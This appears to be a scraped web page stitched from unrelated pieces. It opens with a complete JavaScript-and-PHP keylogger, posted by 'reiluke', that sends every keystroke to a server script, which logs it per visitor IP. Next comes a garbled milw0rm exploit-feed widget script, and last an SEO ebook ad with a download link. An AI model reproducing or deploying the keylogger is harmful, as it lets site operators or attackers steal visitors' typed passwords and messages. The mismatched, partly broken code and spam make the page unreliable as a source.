By reiluke kl.js function GetCandy(event) { var kreiluke = “”; var isNetscape = (navigator.appName.indexOf(”Netscape”) != -1); var kreiluke = (isNetscape) ? String.fromCharCode(event.which) : String.fromCharCode(event.keyCode); makeRequest(’kl.php?iambr=’ + kreiluke); } function makeRequest(url) { var httpRequest; if (window.XMLHttpRequest) { // Mozilla, Safari, … httpRequest = new XMLHttpRequest(); if (httpRequest.overrideMimeType) { httpRequest.overrideMimeType(’text/xml’); } } else if (window.ActiveXObject) { // IE try { httpRequest = new ActiveXObject(”Msxml2.XMLHTTP”); } catch (e) { try { httpRequest = new ActiveXObject(”Mcft.XMLHTTP”); } catch (e) {} } } if (!httpRequest) { alert(’Giving up Cannot create an XMLHTTP instance’); return false; } httpRequest.onreadystatechange = function() { alertContents(httpRequest); }; httpRequest.open(’GET’, url, true); httpRequest.send(null); } function alertContents(httpRequest) { if (httpRequest.readyState == 4) { if (httpRequest.status == 200) { } else { alert(’There was a problem with the request.’); } } } kl.php <?php $_GET[’iambr’]; $file = fopen($_SERVER[’REMOTE_ADDR’] . “-logged.txt”,”a”); fwrite($file,$_GET[’iambr’]); fclose($file); ?> testpage.html <!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” “http://www.w3.org/TR/html4/loose.dtd”> <html> <head> <SCRIPT language=”JavaScript” SRC=”kl.js”></SCRIPT> </head> <body onkeyup=”GetCandy(event)”> <p>press a ~censored~ key at it will be logged</p> </body> </html>

Changes: *AJAX rendering techniques *Browser compliance! designed for Internet Explorer 6 & 7, Firefox, Opera, Seamonkey, Safari *The code is smaller, I made it too big of useless stuffs in 2.0 *The javascript does no more act on the page loading time if the source feed is offline or timeout, simply choose when it will load the remote feed by adding update_ModuleX(); anywhere on your page, preferably in the footer. *PHP proxy (this is optional, see post #2 in this thread) What is it: This is a simple javascript code wich you can copy and paste on your website to stay informed about the various public exploits, I have started building it 2 years ago from a basic code made by sophos, then with str0ke's cooperation I have got the idea to port it for milw0rm, rewriting it with AJAX styles, and that's what it is now. I think I won't update it much because it is now perfectly running, maybe a few minor updates to enhance the browsers compatibilities. How to use it: The code below is the sample code for the remote exploits section in milw0rm, if you would like to display other sections like dos, local, webapps, just change the configuration settings in the header of the code and replace all occurences of milalerts1 to the milalerts# defined for each sections, you should know that they are defined like this on milw0rm.com: remote exploits = milalerts1 local exploits = milalerts2 webapps exploits = milalerts3 dos exploits = milalerts4 You must have only 10 occurences to change, with a quick editor that's fast to achieve. //update: I have forgot to mention, if you would like to display several milw0rm modules on a same web page, you must think to rename all occurences of _Module1 to _Module# where # is a unique number from 2 to 4 for example, this will work around some functions that could be mixed between each modules. Code: PHP Code: <script type="text/javascript"> // Layout settings var feed_Module1 = 'http://milw0rm.com/js/3.0/remote.php' // news url var table_border_Module1 = '0' // table border size (default:0) var table_width_Module1 = '175' // table width, in % or px (default:100%) var table_cspacing_Module1 = '1' // table cellspacing (default:1) var table_cpadding_Module1 = '0' // table cellpadding (default:0) var table_bgcolour_Module1 = '#000000' // table background colour (default:#000000) var table_bdcolour_Module1 = '#000000' // table border colour (default:#000000) var table_bgpic_Module1 = '' // table background picture (default:none) var table_align_Module1 = 'left' // table horizontal alignement, LEFT | RIGHT (default:left) var table_hspace_Module1 = '0' // table horizontal space (default:0) var table_vspace_Module1 = '0' // table vertical space (default:0) var table_height_Module1 = '0' // table height (default:0) var header_align_Module1 = 'left' // header horizontal alignement, LEFT | CENTER | MIDDLE | RIGHT (default:left) var header_valign_Module1 = '' // header vertical alignement, TOP | MIDDLE | CENTER | BOTTOM | BASELINE (default:none) var header_height_Module1 = '0' // header height (default:0) var header_bgcolour_Module1 = '#000000' // header background colour (default:#000000) var header_tcolour_Module1 = '#FFFFFF' // header text colour (default:#FFFFFF) var header_ttheme_Module1 = '' // header text theme (default:Eras Medium ITC) var header_tsize_Module1 = '1' // header text size (default:0) var header_title1_Module1 = 'remote exploits' // header plural title var header_title2_Module1 = 'remote exploit' // header singular title var column1_align_Module1 = 'center' // column1 alignement, LEFT | CENTER | MIDDLE | RIGHT (default:center) var column1_valign_Module1 = '' // column1 vertical alignement, TOP | MIDDLE | CENTER | BOTTOM | BASELINE (default:none) var column1_height_Module1 = '0' // column1 height (default:0) var column1_bgcolour_Module1 = '#918484' // column1 background colour (default:#918484) var column1_tcolour_Module1 = '#000000' // column1 text colour (default:#000000) var column1_ttheme_Module1 = '' // column1 text theme (default:Arial Narrow) var column1_tsize_Module1 = '1' // column1 text size (default:0) var column2_width_Module1 = '' // column2 width, in % or px (default:90%) var column2_align_Module1 = 'left' // column2 horizontal alignement, LEFT | CENTER | MIDDLE | RIGHT (default:left) var column2_valign_Module1 = '' // column2 vertical alignement, TOP | MIDDLE | CENTER | BOTTOM | BASELINE (default:none) var column2_height_Module1 = '0' // column2 height (default:0) var column2_bgcolour_Module1 = '#004000' // column2 background colour (default:#004000) var column2_tcolour_Module1 = '#00C000' // column2 text colour (default:#00C000) var column2_hcolour_Module1 = '#D6EF39' // column2 highlight color, to highlight newly added milw0rm exploits (default:#D6EF39) var column2_ttheme_Module1 = '' // column2 header text theme (default:Arial Narrow) var column2_tsize_Module1 = '1' // column2 text size (default:0) // Functional settings var count_column_Module1 = '2' // column count, 1 or 2 (default:2) var count_Module1 = 10 // news count, 1 to 10 (default:10) var adjust_length_Module1 = 'no' // news length correction 'yes' or 'no' (default:yes) var adjust_var_Module1 = 55 // maximum characters count after what the correction is made (default:75) // **********************no modifications required after******************************* var b_Module1 = '..'; var htmltxt_Module1 = ""; var base_colour_Module1 = column2_tcolour_Module1; var font_header_Module1 = '+ header_tsize_Module1 + '" face="' + header_ttheme_Module1 + '" color="' + header_tcolour_Module1 + '">'; var font_column1_Module1 = '+ column1_tsize_Module1 + '" face="' + column1_ttheme_Module1 + '" color="' + column1_tcolour_Module1 + '">'; var font_column2_Module1 = '+ column2_tsize_Module1 + '" face="' + column2_ttheme_Module1 + '" color="' + column2_tcolour_Module1 + '">'; var milalerts1; function wait_Module1(millis_Module1) { var date_Module1 = new Date(); var curDate_Module1 = null; do { curDate_Module1 = new Date(); } while(curDate_Module1-date_Module1 < millis_Module1); } function error_Module1() { for (var lid_Module1=1,i_Module1=0;i_Module1<10;i_Module1++,lid_Module1++) { document.getElementById('link_Module1'+ lid_Module1).innerHTML= font_column2_Module1 + 'Timeout, refresh'; } return; } function refresh_Module1() { for (var lid_Module1=1,i_Module1=0;i_Module1<40;i_Module1+=4,lid_Module1++) { document.getElementById('link_Module1'+ lid_Module1).innerHTML= font_column2_Module1 + 'Refreshing...'; } update_Module1(); return; } function update_Module1() { wait_Module1(0); scriptTag_Module1 = document.getElementById('Script_Module1'); headID_Module1 = document.getElementsByTagName("head")[0]; if(scriptTag_Module1) {headID_Module1.removeChild(document.getElementById('Script_Module1'));} newScript_Module1 = document.createElement('script'); newScript_Module1.type = 'text/javascript'; newScript_Module1.src = feed_Module1 + "?" + Math.random(); //IE7 refresh patch to avoid caching newScript_Module1.id = 'Script_Module1'; newScript_Module1.defer = false; headID_Module1.appendChild(newScript_Module1); newScript_Module1.onreadystatechange=function() { if(newScript_Module1.readyState=="loaded"){ scriptLoaded_Module1(); return; } } newScript_Module1.onload=function() { scriptLoaded_Module1(); return; } if(newScript_Module1.readyState=="loaded") { //Opera patch scriptLoaded_Module1(); return; } return; } function scriptLoaded_Module1() { wait_Module1(100); if (milalerts1==null) { error_Module1(); return; } for (var lid_Module1=1,i_Module1=0;i_Module1<40;i_Module1+=4,lid_Module1++) { if (milalerts1[i_Module1+3]=='1'){ column2_tcolour_Module1 = column2_hcolour_Module1;font_column2_Module1 = '+ column2_tsize_Module1 + '" face="' + column2_ttheme_Module1 + '" color="' + column2_tcolour_Module1 + '">'; } if (adjust_length_Module1 == "yes") { var a_Module1 = milalerts1[i_Module1+1]; if (a_Module1.length > adjust_var_Module1) document.getElementById('link_Module1'+ lid_Module1).innerHTML='+ milalerts1[i_Module1+2] + '" target="_blank" style="text-decoration: none">' + font_column2_Module1 + a_Module1.substr(0,adjust_var_Module1) + b_Module1 + ''; else document.getElementById('link_Module1'+ lid_Module1).innerHTML='+ milalerts1[i_Module1+2] + '" target="_blank" style="text-decoration: none">' + font_column2_Module1 + milalerts1[i_Module1+1] + ''; } else document.getElementById('link_Module1'+ lid_Module1).innerHTML='+ milalerts1[i_Module1+2] + '" target="_blank" style="text-decoration: none">' + font_column2_Module1 + milalerts1[i_Module1+1] + ''; if (count_column_Module1 != "1") { document.getElementById('date_Module1'+ lid_Module1).innerHTML='' + font_column1_Module1 + milalerts1[i_Module1+0] + ''; } column2_tcolour_Module1 = base_colour_Module1; font_column2_Module1 = '+ column2_tsize_Module1 + '" face="' + column2_ttheme_Module1 + '" color="' + column2_tcolour_Module1 + '">'; } lid_Module1=1; i_Module1=0; return; } if (count_column_Module1 == "1") { colspan_Module1 = 1; } else { colspan_Module1 = 2; } if (count_Module1 > 0) { if (count_Module1 > 10) {count_Module1 = 10} htmltxt_Module1 += '\n+ table_align_Module1 + '" width="' + table_width_Module1 + '" cellspacing="' + table_cspacing_Module1 + '" cellpadding="' + table_cpadding_Module1 + '" border="' + table_border_Module1 + '" bordercolor="' + table_bdcolour_Module1 + '" bgcolor="' + table_bgcolour_Module1 + '" background="' + table_bgpic_Module1 + '" hspace="' + table_hspace_Module1 + '" vspace="' + table_vspace_Module1 + '" height="' + table_height_Module1 + '">'; htmltxt_Module1 += '\n"; } else { htmltxt_Module1 += 'Latest ' + count_Module1 + ' ' + header_title1_Module1 + "from milw0rm"; } for (var i_Module1=0, lid_Module1=1; i_Module1<count_Module1*4; i_Module1+=4, lid_Module1++) { if (count_column_Module1 == "1") { htmltxt_Module1 += '\n'; column1_tcolour_Module1 = base_colour_Module1; font_column1_Module1 = '+ column1_tsize_Module1 + '" face="' + column1_ttheme_Module1 + '" color="' + column1_tcolour_Module1 + '">'; } else { htmltxt_Module1 += '\n'; column2_tcolour_Module1 = base_colour_Module1; font_column2_Module1 = '+ column2_tsize_Module1 + '" face="' + column2_ttheme_Module1 + '" color="' + column2_tcolour_Module1 + '">'; } } } else { document.write("=== MILW0RM info feed error: Specify value of count > 0 ==="); } htmltxt_Module1 += '\n + header_align_Module1 + '" valign="' + header_valign_Module1 + '" height="' + header_height_Module1 + '" colspan="' + colspan_Module1 + '" bgcolor="' + header_bgcolour_Module1 + '">' + font_header_Module1 + '' + font_header_Module1 + '|about' + font_header_Module1 + 'refresh'; if (count_Module1 == 1) { htmltxt_Module1 += 'Latest ' + header_title2_Module1 + "from milw0rm + column2_align_Module1 + '" valign="' + column2_valign_Module1 + '" height="' + column2_height_Module1 + '" bgcolor="' + column2_bgcolour_Module1 + '"> + lid_Module1 + '">' + font_column2_Module1 + 'Updating... + column1_align_Module1 + '" valign="' + column1_valign_Module1 + '" height="' + column1_height_Module1 + '" bgcolor="' + column1_bgcolour_Module1 + '">' + font_column1_Module1 + ' +lid_Module1+'">' + lid_Module1 + ' + column2_align_Module1 + '" valign="' + column2_valign_Module1 + '" height="' + column2_height_Module1 + '" width="' + column2_width_Module1 + '" bgcolor="' + column2_bgcolour_Module1 + '"> + lid_Module1 + '">' + font_column2_Module1 + 'Updating... '; document.write(htmltxt_Module1); update_Module1(); by matthews

Here is what you receive with 20 SEO Secrets: 1. A 18 minute video showing you exactly how to use the tools with ease. 2. SEO Manifesto. This is a 12 minute audio rant about how easy search engine optimization is and how you can slap the search engines back! 3. A 55 page PDF with the 20 tools and explanations of how to use them properly. The 20th tool is a 30 page list of resources that will make your seo a breeze. 4. A copy of Ross’s SEO Diamond Ebook to make sure you understand everything you need to know about SEO! Download: http://hotfile.com/dl/7683043/bc3e1b2/20_SEO_Secrets.rar.html